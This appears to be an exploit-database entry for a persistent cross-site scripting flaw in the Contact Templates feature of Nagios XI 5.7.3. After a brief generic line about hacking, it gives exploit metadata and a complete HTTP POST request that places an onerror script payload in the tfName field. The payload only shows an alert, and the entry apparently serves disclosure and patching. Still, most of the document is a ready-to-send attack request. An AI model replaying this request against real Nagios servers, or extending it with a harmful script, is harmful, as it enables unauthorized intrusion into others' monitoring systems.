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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Nagios XI 5.7.3 - 'Contact Templates' Persistent Cross-Site Scripting
# Date: 10-18-2020
# Exploit Author: Matthew Aberegg
# Vendor Homepage: https://www.nagios.com/products/nagios-xi/
# Vendor Changelog: https://www.nagios.com/downloads/nagios-xi/change-log/
# Software Link: https://www.nagios.com/downloads/nagios-xi/
# Version: Nagios XI 5.7.3
# Tested on: Ubuntu 18.04


# Vulnerability Details
# Description : A persistent cross-site scripting vulnerability exists in the "Contact Templates" functionality of the Core Config Manager of Nagios XI.
# Vulnerable Parameter : tfName


# POC
# Exploit Details : The following request will create a contact template with an XSS payload as the contact template name. Click on "Relationships" for the malicious template to trigger the payload.


POST /nagiosxi/includes/components/ccm/index.php?type=contacttemplate&page=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 642
Origin: http://TARGET
Connection: close
Referer: http://TARGET/nagiosxi/includes/components/ccm/index.php?cmd=modify&type=contacttemplate&id=7&page=1&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1
Cookie: nagiosxi=a354rem56a8aoeieqr9k2le39i
Upgrade-Insecure-Requests: 1

tfName=<img+src=a+onerror=alert(1)>&tfFriendly=&tfEmail=&tfPager=&Active=1&tfAddress1=&tfAddress2=&tfAddress3=&tfAddress4=&tfAddress5=&tfAddress6=&radHostNotifEnabled=2&selHostPeriod=0&radStatusInfos=2&radNoStatusInfos=2&radServiceNotifEnabled=2&selServicePeriod=0&radCanSubCmds=2&radContactgroup=2&radServicecommand=2&radHostcommand=2&txtVariablename=&txtVariablevalue=&cmd=submit&mode=modify&hidId=7&hidName=test&hidServiceDescription=&hostAddress=127.0.0.1&exactType=contacttemplate&type=contacttemplate&genericType=contacttemplate&returnUrl=index.php%3Fcmd%3Dview%26type%3Dcontacttemplate%26page%3D1&token=3b8273eea1213ac4d2c1f3da1b0c370d